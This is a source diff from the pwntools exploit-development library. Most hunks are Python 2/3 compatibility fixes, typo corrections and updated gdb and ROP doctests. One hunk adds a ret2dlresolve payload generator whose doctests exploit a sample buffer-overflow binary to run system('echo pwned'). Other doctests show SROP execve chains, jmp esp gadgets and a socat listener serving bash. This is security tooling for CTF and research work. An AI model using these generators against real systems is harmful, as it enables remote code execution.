@@ -354,9 +358,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
... break main
... continue
... ''')
>>> # Send a command to Bash
>>> io.sendline("echo hello")
>>> io.recvline()
b'hello\n'
>>> # Interact with the process
>>> io.interactive() # doctest: +SKIP
>>> io.close()
@@ -371,9 +377,11 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
... break free
... continue
... ''')
>>> # Send a command to Bash
>>> io.sendline("echo hello")
>>> io.recvline()
b'hello\n'
>>> # Interact with the process
>>> io.interactive() # doctest: +SKIP
>>> io.close()
@@ -381,7 +389,6 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
by using the ``ssh=`` keyword to pass in your :class:`.ssh` instance.
>>> # Connect to the SSH server
>>> # Start a process on the server
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> io = gdb.debug(['bash'],
@@ -390,15 +397,13 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
... break main
... continue
... ''')
>>> # Send a command to Bash
>>> io.sendline("echo hello")
>>> # Interact with the process
>>> io.interactive() # doctest: +SKIP
>>> io.close()
"""
if isinstance(args, (int, tubes.process.process, tubes.ssh.ssh_channel)):
if isinstance(args, six.integer_types + (tubes.process.process, tubes.ssh.ssh_channel)):
log.error("Use gdb.attach() to debug a running process")
if isinstance(args, (bytes, six.text_type)):
@@ -457,7 +462,7 @@ def debug(args, gdbscript=None, exe=None, ssh=None, env=None, sysroot=None, **kw
if not ssh and context.os == 'android':
host = context.adb_host
attach((host, port), exe=exe, gdbscript=gdbscript, need_ptrace_scope = False, ssh=ssh, sysroot=sysroot)
attach((host, port), exe=exe, gdbscript=gdbscript, ssh=ssh, sysroot=sysroot)
# gdbserver outputs a message when a client connects
garbage = gdbserver.recvline(timeout=1)
@@ -495,7 +500,7 @@ def binary():
if multiarch:
return multiarch
log.warn_once('Cross-architecture debugging usually requires gdb-multiarch\n' \
log.warn_once('Cross-architecture debugging usually requires gdb-multiarch\n'
'$ apt-get install gdb-multiarch')
if not gdb:
@@ -505,9 +510,8 @@ def binary():
return gdb
@LocalContext
def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_args = None, ssh = None, sysroot = None):
r"""attach(target, gdbscript = None, exe = None, arch = None, ssh = None) -> None
def attach(target, gdbscript = '', exe = None, gdb_args = None, ssh = None, sysroot = None):
r"""
Start GDB in a new terminal and attach to `target`.
Arguments:
@@ -545,68 +549,62 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
Examples:
>>> # Attach directly to pid 1234
>>> gdb.attach(1234) # doctest: +SKIP
Attach to a process by PID
>>> pid = gdb.attach(1234) # doctest: +SKIP
>>> # Attach to the youngest "bash" process
>>> gdb.attach('bash') # doctest: +SKIP
Attach to the youngest process by name
>>> pid = gdb.attach('bash') # doctest: +SKIP
>>> # Start a process
>>> bash = process('bash')
Attach a debugger to a :class:`.process` tube and automate interaction
>>> # Attach the debugger
>>> pid = gdb.attach(bash, '''
... set follow-fork-mode child
... break execve
... continue
... ''')
>>> io = process('bash')
>>> pid = gdb.attach(io, gdbscript='''
... call puts("Hello from process debugger!")
... detach
... quit
... ''')
>>> io.recvline()
b'Hello from process debugger!\n'
>>> io.sendline('echo Hello from bash && exit')
>>> io.recvall()
b'Hello from bash\n'
>>> # Interact with the process
>>> bash.sendline("/bin/echo hello")
>>> bash.recvline()
b'hello\n'
>>> bash.close()
Attach to the remote process from a :class:`.remote` or :class:`.listen` tube,
as long as it is running on the same machine.
>>> # Start a forking server
>>> server = process(['socat', 'tcp-listen:12345,fork,reuseaddr', 'exec:/bin/bash,nofork'])
>>> sleep(1)
>>> server = process(['socat', 'tcp-listen:12345,reuseaddr,fork', 'exec:/bin/bash,nofork'])
>>> sleep(1) # Wait for socat to start
>>> io = remote('127.0.0.1', 12345)
>>> sleep(1) # Wait for process to fork
>>> pid = gdb.attach(io, gdbscript='''
... call puts("Hello from remote debugger!")
... detach
... quit
... ''')
>>> io.recvline()
b'Hello from remote debugger!\n'
>>> io.sendline('echo Hello from bash && exit')
>>> io.recvall()
b'Hello from bash\n'
>>> # Connect to the server
>>> io = remote('127.0.0.1', 12345)
>>> # Connect the debugger to the server-spawned process
>>> pid = gdb.attach(io, '''
... break exit
... continue
... ''', exe = '/bin/bash')
>>> # Talk to the spawned 'sh'
>>> io.sendline("echo hello")
>>> io.recvline()
b'hello\n'
>>> io.sendline("exit")
>>> io.close()
>>> # Connect to the SSH server
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> # Start a process on the server
>>> cat = shell.process(['cat'])
>>> # Attach a debugger to it
>>> gdb.attach(cat, '''
... break exit
... continue
... ''')
>>> cat.sendline("hello")
>>> cat.recvline()
b'hello\n'
>>> # Cause `cat` to exit
>>> cat.close()
Attach to processes running on a remote machine via an SSH :class:`.ssh` process
>>> shell = ssh('travis', 'example.pwnme', password='demopass')
>>> io = shell.process(['cat'])
>>> pid = gdb.attach(io, gdbscript='''
... call sleep(5)
... call puts("Hello from ssh debugger!")
... detach
... quit
... ''')
>>> io.recvline(timeout=5) # doctest: +SKIP
b'Hello from ssh debugger!\n'
>>> io.sendline('This will be echoed back')
>>> io.recvline()
b'This will be echoed back\n'
>>> io.close()
"""
if context.noptrace:
log.warn_once("Skipping debug attach since context.noptrace==True")
@@ -637,6 +635,9 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
if context.os == 'android':
pre += 'set gnutarget ' + _bfdname() + '\n'
if exe:
pre += 'file %s\n' % exe
# let's see if we can find a pid to attach to
pid = None
if isinstance(target, six.integer_types):
@@ -675,8 +676,6 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
if shell.keyfile:
cmd += ['-i', shell.keyfile]
exefile = target.executable
if six.PY3:
exefile = exefile.decode()
cmd += ['gdb -q %s %s -x "%s"' % (exefile,
target.pid,
tmpfile)]
@@ -687,17 +686,24 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
elif isinstance(target, tubes.sock.sock):
pids = proc.pidof(target)
if not pids:
log.error('could not find remote process (%s:%d) on this machine' %
log.error('Could not find remote process (%s:%d) on this machine' %
target.sock.getpeername())
waiting = True
if exe:
while waiting:
for pid in pids:
if proc.exe(pid) == exe:
waiting = False
break
else:
time.sleep(0.01)
pid = pids[0]
# Specifically check for socat, since it has an intermediary process
# if you do not specify "nofork" to the EXEC: argument
# python(2640)───socat(2642)───socat(2643)───bash(2644)
if proc.exe(pid).endswith('/socat') and time.sleep(0.1) and proc.children(pid):
pid = proc.children(pid)[0]
# We may attach to the remote process after the fork but before it performs an exec.
# If an exe is provided, wait until the process is actually running the expected exe
# before we attach the debugger.
t = Timeout()
with t.countdown(2):
while exe and os.realpath(proc.exe(pid)) != os.realpath(exe) and t.timeout:
time.sleep(0.1)
elif isinstance(target, tubes.process.process):
pid = proc.pidof(target)[0]
exe = exe or target.executable
@@ -781,7 +787,7 @@ def attach(target, gdbscript = '', exe = None, need_ptrace_scope = True, gdb_arg
tmp.write(gdbscript)
tmp.close()
cmd += ' -x "%s"' % (tmp.name)
cmd += ' -x %s' % (tmp.name)
log.info('running in new terminal: %s' % cmd)
@@ -945,13 +951,23 @@ def find_module_addresses(binary, ssh=None, ulimit=False):
return rv
def corefile(process):
r"""Drops a core file for the process.
r"""Drops a core file for a running local process.
Note:
You should use :meth:`.process.corefile` instead of using this method directly.
Arguments:
process: Process to dump
Returns:
:class:`.Core`: The generated core file
Example:
>>> io = process('bash')
>>> core = gdb.corefile(io)
>>> core.exe.name
'/bin/bash'
"""
if context.noptrace:
@@ -971,7 +987,7 @@ def corefile(process):
# This is effectively the same as what the 'gcore' binary does
gdb_args = ['-batch',
'-q',
'--nx',
'-nx',
'-ex', '"set pagination off"',
'-ex', '"set height 0"',
'-ex', '"set width 0"',
@@ -982,7 +998,14 @@ def corefile(process):
with context.local(terminal = ['sh', '-c']):
with context.quiet:
pid = attach(process, gdb_args=gdb_args)
os.waitpid(pid, 0)
log.debug("Got GDB pid %d", pid)
try:
os.waitpid(pid, 0)
except Exception:
pass
if not os.path.exists(corefile_path):
log.error("Could not generate a corefile for process %d", process.pid)
return elf.corefile.Core(corefile_path)
+4 -1
View File
@@ -3,7 +3,10 @@ from pwnlib.tubes.process import process
from time import sleep
from sys import argv
sleep(1)
sh = process(argv[1], shell=True)
if len(argv) == 2:
sh = process(argv[1], shell=True)
else:
sh = process(argv[1:])
sh.sendline('set prompt (gdb)')
res = sh.sendlineafter('(gdb)', 'c')
while b'The program is not being run.' not in res:
+1 -1
View File
@@ -37,7 +37,7 @@ class PwntoolsLexer(RegexLexer):
#: optional Comment or Whitespace
string = r'"(\\"|[^"])*"'
char = r'[\w$.@-]'
identifier = r'(?:[a-zA-Z$_]' + char + '*|\.' + char + '+|or)'
identifier = r'(?:[a-zA-Z$_]' + char + r'*|\.' + char + '+|or)'
number = r'(?:0[xX][a-zA-Z0-9]+|\d+)'
memory = r'(?:[\]\[])'
bad = r'(?:\(bad\))'
+4 -4
View File
@@ -46,7 +46,7 @@ def search_by_hash(hex_encoded_id, hash_type='build_id'):
log.info_once("Using cached data from %r", cache)
return cache
else:
log.info_once("Skipping unavialable libc %s", hex_encoded_id)
log.info_once("Skipping unavailable libc %s", hex_encoded_id)
return None
# Build the URL using the requested hash type
@@ -164,7 +164,7 @@ def search_by_sha256(hex_encoded_id):
def get_build_id_offsets():
"""
Returns a list of file offsets where the Build ID should reside within
an ELF file of the currentlys-elected architecture.
an ELF file of the currently selected architecture.
"""
# Given the corpus of almost all libc to have been released with
# RedHat, Fedora, Ubuntu, Debian, etc. over the past several years,
@@ -186,7 +186,7 @@ def get_build_id_offsets():
return {
# $ check_arch 80386
# 181 Displaying notes found at file offset 0x00000174 with length 0x00000024:
'i386': [0x174],
'i386': [0x174, 0x1b4, 0x1d4],
# $ check_arch "ARM, EABI5"
# 69 Displaying notes found at file offset 0x00000174 with length 0x00000024:
'arm': [0x174],
@@ -197,7 +197,7 @@ def get_build_id_offsets():
# $ check_arch "x86-64"
# 6 Displaying notes found at file offset 0x00000174 with length 0x00000024:
# 82 Displaying notes found at file offset 0x00000270 with length 0x00000024:
'amd64': [0x270, 0x174, 0x2e0],
'amd64': [0x270, 0x174, 0x2e0, 0x370],
# $ check_arch "PowerPC or cisco"
# 88 Displaying notes found at file offset 0x00000174 with length 0x00000024:
'powerpc': [0x174],
+10 -3
View File
@@ -98,6 +98,7 @@ import logging
import os
import random
import re
import six
import sys
import threading
import time
@@ -179,10 +180,13 @@ class Progress(object):
self.rate = kwargs.pop('rate', 0)
self._log(status, args, kwargs, 'status')
# it is a common use case to create a logger and then immediately update
# its status line, so we reset `last_status` to accomodate this pattern
# its status line, so we reset `last_status` to accommodate this pattern
self.last_status = 0
def _log(self, status, args, kwargs, msgtype):
# Logs are strings, not bytes. Handle Python3 bytes() objects.
status = six.ensure_text(status)
# this progress logger is stopped, so don't generate any more records
if self._stopped:
return
@@ -279,11 +283,14 @@ class Logger(object):
self._logger = logger
def _getlevel(self, levelString):
if isinstance(levelString, int):
if isinstance(levelString, six.integer_types):
return levelString
return logging._levelNames[levelString.upper()]
def _log(self, level, msg, args, kwargs, msgtype, progress = None):
# Logs are strings, not bytes. Handle Python3 bytes() objects.
msg = six.ensure_text(msg)
extra = kwargs.get('extra', {})
extra.setdefault('pwnlib_msgtype', msgtype)
extra.setdefault('pwnlib_progress', progress)
@@ -650,7 +657,7 @@ log_file.setFormatter(logging.Formatter(fmt, iso_8601))
# The root 'pwnlib' logger is declared here. To change the target of all
# 'pwntools'-specific logging, only this logger needs to be changed.
#
# Logging cascades upward through the heirarchy,
# Logging cascades upward through the hierarchy,
# so the only point that should ever need to be
# modified is the root 'pwnlib' logger.
#
+6 -5
View File
@@ -5,6 +5,7 @@ import ctypes
import functools
import string
import six
from six.moves import range
from pwnlib.context import context
@@ -63,7 +64,7 @@ class MemLeak(object):
... if addr & 0xff == 0:
... return None
... return binsh[addr:addr+4]
>>> leaker_nonulls.d(0) == None
>>> leaker_nonulls.d(0) is None
leaking 0x0
True
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
@@ -155,17 +156,17 @@ class MemLeak(object):
Arguments:
address(int): Base address to calculate offsets from
field(obj): Instance of a ctypes field
expected(int,str): Expected value
expected(int,bytes): Expected value
Return Value:
The type of the return value will be dictated by
the type of ``field``.
"""
if not isinstance(expected, (int, bytes)):
raise TypeError("Expected value must be an int or bytes")
if isinstance(expected, int):
if isinstance(expected, six.integer_types):
expected = pack(expected, bytes=obj.size)
elif not isinstance(expected, bytes):
raise TypeError("Expected value must be an int or bytes")
assert obj.size == len(expected)
+4 -4
View File
@@ -109,8 +109,8 @@ class AdbClient(Logger):
process(context.adb + ['start-server']).recvall()
time.sleep(0.3)
else:
log.exception('Could not connect to ADB server (%s:%s)' % \
(self.host, self.port))
log.exception('Could not connect to ADB server (%s:%s)',
self.host, self.port)
# Final attempt...
if not self._c:
@@ -462,14 +462,14 @@ class AdbClient(Logger):
>>> expected = {'mode': 16749, 'size': 0, 'time': 0}
>>> pwnlib.protocols.adb.AdbClient().stat('/proc') == expected
True
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') == None
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') is None
True
"""
if isinstance(path, six.text_type):
path = path.encode('utf-8')
self.c.flat32('STAT', len(path), path)
if self.c.recvn(4) != b'STAT':
self.error("An error occured while attempting to STAT a file.")
self.error("An error occurred while attempting to STAT a file.")
mode = self.c.u32()
size = self.c.u32()
+1 -1
View File
@@ -243,7 +243,7 @@ def regsort(in_out, all_regs, tmp = None, xchg = True, randomize = None):
# Collapse constant values
#
# For eaxmple, {'eax': 0, 'ebx': 0} => {'eax': 0, 'ebx': 'eax'}
v_k = defaultdict(lambda: [])
v_k = defaultdict(list)
for k,v in sorted(in_out.items()):
if v not in all_regs and v != 0:
v_k[v].append(k)
+18 -5
View File
@@ -9,6 +9,8 @@ from pwnlib.util import packing
import six
from pwnlib.util.misc import python_2_bytes_compatible
class Unresolved(object):
"""
@@ -55,6 +57,8 @@ class StackAdjustment(Unresolved):
"""
pass
@python_2_bytes_compatible
class AppendedArgument(Unresolved):
"""
Encapsulates information about a pointer argument, and the data
@@ -166,7 +170,7 @@ class AppendedArgument(Unresolved):
for i, value in enumerate(self.values):
if isinstance(value, six.integer_types):
rv[i] = value
if isinstance(value, str):
if isinstance(value, six.text_type):
value = context._encode(value)
if isinstance(value, (bytes, bytearray)):
value += b'\x00'
@@ -177,6 +181,7 @@ class AppendedArgument(Unresolved):
if isinstance(value, Unresolved):
rv[i] = value.address
rv.extend(value.resolve())
assert rv[i] is not None
return rv
@@ -185,8 +190,6 @@ class AppendedArgument(Unresolved):
def __bytes__(self):
return packing.flat(self.resolve())
if six.PY2:
__str__ = __bytes__
def __repr__(self):
if isinstance(self.address, six.integer_types):
@@ -218,8 +221,8 @@ class Call(object):
#: Arguments to the call
args = []
def __init__(self, name, target, args, abi=None):
assert isinstance(name, str)
def __init__(self, name, target, args, abi=None, before=()):
assert isinstance(name, (bytes, six.text_type))
# assert isinstance(target, six.integer_types)
assert isinstance(args, (list, tuple))
self.abi = abi or ABI.default()
@@ -229,6 +232,7 @@ class Call(object):
for i, arg in enumerate(args):
if not isinstance(arg, six.integer_types+(Unresolved,)):
self.args[i] = AppendedArgument(arg)
self.stack_arguments_before = before
def __repr__(self):
fmt = "%#x" if isinstance(self.target, six.integer_types) else "%r"
@@ -236,6 +240,15 @@ class Call(object):
self.name,
fmt % self.target,
self.args)
@property
def register_arguments(self):
return dict(zip(self.abi.register_arguments, self.args))
@property
def stack_arguments(self):
return self.args[len(self.abi.register_arguments):]
@classmethod
def _special_repr(cls, x):
if isinstance(x, AppendedArgument):
+3 -2
View File
@@ -1,4 +1,5 @@
# -*- coding: utf-8 -*-
import six
class Gadget(object):
"""
@@ -54,12 +55,12 @@ class Gadget(object):
def __getitem__(self, key):
# Backward compatibility
if isinstance(key, int):
if isinstance(key, six.integer_types):
key = self.__indices[key]
return getattr(self, key)
def __setitem__(self, key, value):
# Backward compatibility
if isinstance(key, int):
if isinstance(key, six.integer_types):
key = self.__indices[key]
return setattr(self, key, value)
+368
View File
@@ -0,0 +1,368 @@
r"""
Provides automatic payload generation for exploiting buffer overflows
using ret2dlresolve.
We use the following example program:
::
#include <unistd.h>
void vuln(void){
char buf[64];
read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
vuln();
}
We can automate the process of exploitation with these some example binaries.
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
>>> rop = ROP(context.binary)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x80482e0 read(0, 0x804ae00)
0x0004: 0x80484ea <adjust @0x10> pop edi; pop ebp; ret
0x0008: 0x0 arg0
0x000c: 0x804ae00 arg1
0x0010: 0x80482d0 [plt_init] system(0x804ae24)
0x0014: 0x2b84 [dlresolve index]
0x0018: b'gaaa' <return address>
0x001c: 0x804ae24 arg0
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
>>> p.recvline()
b'pwned\n'
You can also use ``Ret2dlresolve`` on AMD64:
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x400593 pop rdi; ret
0x0008: 0x0 [arg0] rdi = 0
0x0010: 0x400591 pop rsi; pop r15; ret
0x0018: 0x601e00 [arg1] rsi = 6299136
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x4003f0 read
0x0030: 0x400593 pop rdi; ret
0x0038: 0x601e48 [arg0] rdi = 6299208
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
>>> if dlresolve.unreliable:
... p.poll(True) == -signal.SIGSEGV
... else:
... p.recvline() == b'pwned\n'
True
"""
import six
from copy import deepcopy
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.packing import *
from pwnlib.util.misc import align
log = getLogger(__name__)
ELF32_R_SYM_SHIFT = 8
ELF64_R_SYM_SHIFT = 32
class Elf32_Rel(object):
''
"""
.. code-block:: c
typedef struct elf32_rel {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;
"""
size=1 # see _build_structures method for explanation
def __init__(self, r_offset=0, r_info=0):
self.r_offset = r_offset
self.r_info = r_info
def __flat__(self):
return p32(self.r_offset) + p32(self.r_info)
def __bytes__(self):
return self.__flat__()
class Elf64_Rel(object):
''
"""
.. code-block:: c
typedef struct elf64_rel {
Elf64_Addr r_offset;
Elf64_Xword r_info;
} Elf64_Rel;
"""
size=24
def __init__(self, r_offset=0, r_info=0):
self.r_offset = r_offset
self.r_info = r_info
def __flat__(self):
return p64(self.r_offset) + p64(self.r_info) + p64(0)
def __bytes__(self):
return self.__flat__()
class Elf32_Sym(object):
''
"""
.. code-block:: c
typedef struct elf32_sym{
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Half st_shndx;
} Elf32_Sym;
"""
size = 16
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
self.st_name = st_name
self.st_value = st_value
self.st_size = st_size
self.st_info = st_info
self.st_other = st_other
self.st_shndx = st_shndx
def __flat__(self):
return p32(self.st_name) + \
p32(self.st_value) + \
p32(self.st_size) + \
p8(self.st_info) + \
p8(self.st_other) + \
p16(self.st_shndx)
def __bytes__(self):
return self.__flat__()
class Elf64_Sym(object):
''
"""
.. code-block:: c
typedef struct elf64_sym {
Elf64_Word st_name;
unsigned char st_info;
unsigned char st_other;
Elf64_Half st_shndx;
Elf64_Addr st_value;
Elf64_Xword st_size;
} Elf64_Sym;
"""
size=24
def __init__(self, st_name=0, st_value=0, st_size=0, st_info=0, st_other=0, st_shndx=0):
self.st_name = st_name
self.st_value = st_value
self.st_size = st_size
self.st_info = st_info
self.st_other = st_other
self.st_shndx = st_shndx
def __flat__(self):
return p32(self.st_name) + \
p8(self.st_info) + \
p8(self.st_other) + \
p16(self.st_shndx) + \
p64(self.st_value) + \
p64(self.st_size)
def __bytes__(self):
return self.__flat__()
class Queue(list):
''
def size(self):
size = 0
for v in self:
# Lists, strings and ints all have size context.size
# Assuming int size equals address size
if isinstance(v, MarkedBytes):
size += len(v)
else:
size += context.bytes
return size
class MarkedBytes(bytes):
''
pass
class Ret2dlresolvePayload(object):
"""Create a ret2dlresolve payload
Arguments:
elf (ELF): Binary to search
symbol (str): Function to search for
args (list): List of arguments to pass to the function
Returns:
A ``Ret2dlresolvePayload`` object which can be passed to ``rop.ret2dlresolve``
"""
def __init__(self, elf, symbol, args, data_addr=None):
self.elf = elf
self.elf_load_address_fixup = self.elf.address - self.elf.load_addr
self.strtab = elf.dynamic_value_by_tag("DT_STRTAB") + self.elf_load_address_fixup
self.symtab = elf.dynamic_value_by_tag("DT_SYMTAB") + self.elf_load_address_fixup
self.jmprel = elf.dynamic_value_by_tag("DT_JMPREL") + self.elf_load_address_fixup
self.versym = elf.dynamic_value_by_tag("DT_VERSYM") + self.elf_load_address_fixup
self.symbol = context._encode(symbol)
self.args = args
self.real_args = self._format_args()
self.unreliable = False
self.data_addr = data_addr if data_addr is not None else self._get_recommended_address()
# Will be set when built
self.reloc_index = -1
self.payload = b""
# PIE is untested, gcc forces FULL-RELRO when PIE is set
if self.elf.pie and self.elf_load_address_fixup == 0:
log.warning("WARNING: ELF is PIE but has no base address set")
self._build()
def _format_args(self):
# Encode every string in args
def aux(args):
for i, arg in enumerate(args):
if isinstance(arg, (str,bytes)):
args[i] = context._encode(args[i]) + b"\x00"
elif isinstance(arg, (list, tuple)):
aux(arg)
args = deepcopy(self.args)
aux(args)
return args
def _get_recommended_address(self):
bss = self.elf.get_section_by_name(".bss").header.sh_addr + self.elf_load_address_fixup
bss_size = self.elf.get_section_by_name(".bss").header.sh_size
addr = bss + bss_size
addr = addr + (-addr & 0xfff) - 0x200 #next page in memory - 0x200
return addr
def _build_structures(self):
# The first part of the payload is the usual of ret2dlresolve.
if context.bits == 32:
ElfSym = Elf32_Sym
ElfRel = Elf32_Rel
ELF_R_SYM_SHIFT = ELF32_R_SYM_SHIFT
elif context.bits == 64:
ElfSym = Elf64_Sym
ElfRel = Elf64_Rel
ELF_R_SYM_SHIFT = ELF64_R_SYM_SHIFT
else:
log.error("Unsupported bits")
# where the address of the symbol will be saved
# (ElfRel.r_offset points here)
symbol_space = b"A"*context.bytes
# Symbol name. Ej: system
symbol_name_addr = self.data_addr + len(self.payload)
symbol_name = self.symbol + b"\x00"
symbol_end_addr = symbol_name_addr + len(symbol_name)
# ElfSym
index = align(ElfSym.size, symbol_end_addr - self.symtab) // ElfSym.size # index for both symtab and versym
sym_addr = self.symtab + ElfSym.size * index
sym = ElfSym(st_name=symbol_name_addr - self.strtab)
sym_end_addr = sym_addr + sym.size
# It seems to be treated as an index in 64b and
# as an offset in 32b. That's why Elf32_Rel.size = 1
self.reloc_index = align(ElfRel.size, sym_end_addr - self.jmprel) // ElfRel.size
# ElfRel
rel_addr = self.jmprel + self.reloc_index * ElfRel.size
rel_type = 7
rel = ElfRel(r_offset=self.data_addr, r_info=(index<<ELF_R_SYM_SHIFT)+rel_type)
self.payload = fit({
symbol_name_addr - self.data_addr: symbol_name,
sym_addr - self.data_addr: sym,
rel_addr - self.data_addr: rel
})
ver_addr = self.versym + 2 * index # Elf_HalfWord
log.debug("Symtab: %s", hex(self.symtab))
log.debug("Strtab: %s", hex(self.strtab))
log.debug("Versym: %s", hex(self.versym))
log.debug("Jmprel: %s", hex(self.jmprel))
log.debug("ElfSym addr: %s", hex(sym_addr))
log.debug("ElfRel addr: %s", hex(rel_addr))
log.debug("Symbol name addr: %s", hex(symbol_name_addr))
log.debug("Version index addr: %s", hex(ver_addr))
log.debug("Data addr: %s", hex(self.data_addr))
if not self.elf.memory[ver_addr]:
log.warn("Ret2dlresolve is likely impossible in this ELF "
"(too big gap between text and writable sections).\n"
"If you get a segmentation fault with fault_addr = %#x, "
"try a different technique.", ver_addr)
self.unreliable = True
def _build_args(self):
# The second part of the payload will include strings and pointers needed for ROP.
queue = Queue()
# We first have to process the arguments: replace lists and strings with
# pointers to the payload. Add lists contents and marked strings to the queue
# to be processed later.
for i, arg in enumerate(self.real_args):
if isinstance(arg, (list, tuple)):
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
queue.extend(arg)
elif isinstance(arg, bytes):
self.real_args[i] = self.data_addr + len(self.payload) + queue.size()
queue.append(MarkedBytes(arg))
# Now we process the generated queue, which contains elements that will be in
# the payload. We replace lists and strings with pointers, add lists elements
# to the queue, and mark strings so next time they are processed they are
# added and not replaced again.
while len(queue) > 0:
top = queue[0]
if isinstance(top, (list, tuple)):
top = pack(self.data_addr + len(self.payload) + queue.size())
queue.extend(queue[0])
elif isinstance(top, MarkedBytes):
# Just add them
pass
elif isinstance(top, bytes):
top = pack(self.data_addr + len(self.payload) + queue.size())
queue.append(MarkedBytes(queue[0]))
elif isinstance(top, six.integer_types):
top = pack(top)
self.payload += top
queue.pop(0)
def _build(self):
self._build_structures()
self._build_args()
+206 -38
View File
@@ -88,6 +88,36 @@ You can also append complex arguments onto stack when the stack pointer is known
0x7fffe038: b'-c\x00$'
0x7fffe03c: b'ls\x00$'
ROP also detects 'jmp $sp' gadget to help exploit binaries with NX disabled.
You can get this gadget on 'i386':
>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; jmp esp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_esp
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
True
You can also get this gadget on 'amd64':
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('nop; jmp rsp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_rsp
>>> elf.read(jmp_gadget.address, 2) == asm('jmp rsp')
True
Gadgets whose address has badchar are filtered out:
>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; pop eax; jmp esp; int 0x80; jmp esp; ret')
>>> rop = ROP(elf, badchars=b'\x02')
>>> jmp_gadget = rop.jmp_esp # It returns the second gadget
>>> elf.read(jmp_gadget.address, 2) == asm('jmp esp')
True
>>> rop = ROP(elf, badchars=b'\x02\x06')
>>> rop.jmp_esp == None # The address of both gadgets has badchar
True
ROP Example
-------------------
@@ -237,7 +267,7 @@ That's all there is to it.
>>> print(rop.dump())
0x0000: 0x1000000e pop eax; ret
0x0004: 0x77 [arg0] eax = SYS_sigreturn
0x0008: 0x1000000b int 0x80
0x0008: 0x1000000b int 0x80; ret
0x000c: 0x0 gs
0x0010: 0x0 fs
0x0014: 0x0 es
@@ -252,7 +282,7 @@ That's all there is to it.
0x0038: 0xb eax = SYS_execve
0x003c: 0x0 trapno
0x0040: 0x0 err
0x0044: 0x1000000b int 0x80
0x0044: 0x1000000b int 0x80; ret
0x0048: 0x23 cs
0x004c: 0x0 eflags
0x0050: 0x0 esp_at_signal
@@ -290,6 +320,7 @@ from pwnlib.context import context
from pwnlib.elf import ELF
from pwnlib.log import getLogger
from pwnlib.rop import srop
from . import ret2dlresolve
from pwnlib.rop.call import AppendedArgument
from pwnlib.rop.call import Call
from pwnlib.rop.call import CurrentStackPointer
@@ -301,10 +332,18 @@ from pwnlib.util import lists
from pwnlib.util import packing
from pwnlib.util.cyclic import cyclic
from pwnlib.util.packing import pack
from pwnlib.util.misc import python_2_bytes_compatible
log = getLogger(__name__)
__all__ = ['ROP']
enums = Call, constants.Constant
try:
from enum import Enum
except ImportError:
pass
else:
enums += Enum,
class Padding(object):
"""
@@ -332,7 +371,7 @@ class DescriptiveStack(list):
descriptions = {}
def __init__(self, address):
self.descriptions = collections.defaultdict(lambda: [])
self.descriptions = collections.defaultdict(list)
self.address = address or 0
self._next_next = 0
self._next_last = 0
@@ -374,6 +413,7 @@ class DescriptiveStack(list):
return '\n'.join(rv)
@python_2_bytes_compatible
class ROP(object):
r"""Class which simplifies the generation of ROP-chains.
@@ -412,7 +452,7 @@ class ROP(object):
0x0020: 0x3 arg0
0x0024: 0x10000007 pop eax; ret
0x0028: 0x77 [arg0] eax = SYS_sigreturn
0x002c: 0x10000000 int 0x80
0x002c: 0x10000000 int 0x80; ret
0x0030: 0x0 gs
0x0034: 0x0 fs
0x0038: 0x0 es
@@ -427,7 +467,7 @@ class ROP(object):
0x005c: 0xb eax = SYS_execve
0x0060: 0x0 trapno
0x0064: 0x0 err
0x0068: 0x10000000 int 0x80
0x0068: 0x10000000 int 0x80; ret
0x006c: 0x23 cs
0x0070: 0x0 eflags
0x0074: 0x0 esp_at_signal
@@ -450,7 +490,7 @@ class ROP(object):
0x8048020: 0x3 arg0
0x8048024: 0x10000007 pop eax; ret
0x8048028: 0x77 [arg0] eax = SYS_sigreturn
0x804802c: 0x10000000 int 0x80
0x804802c: 0x10000000 int 0x80; ret
0x8048030: 0x0 gs
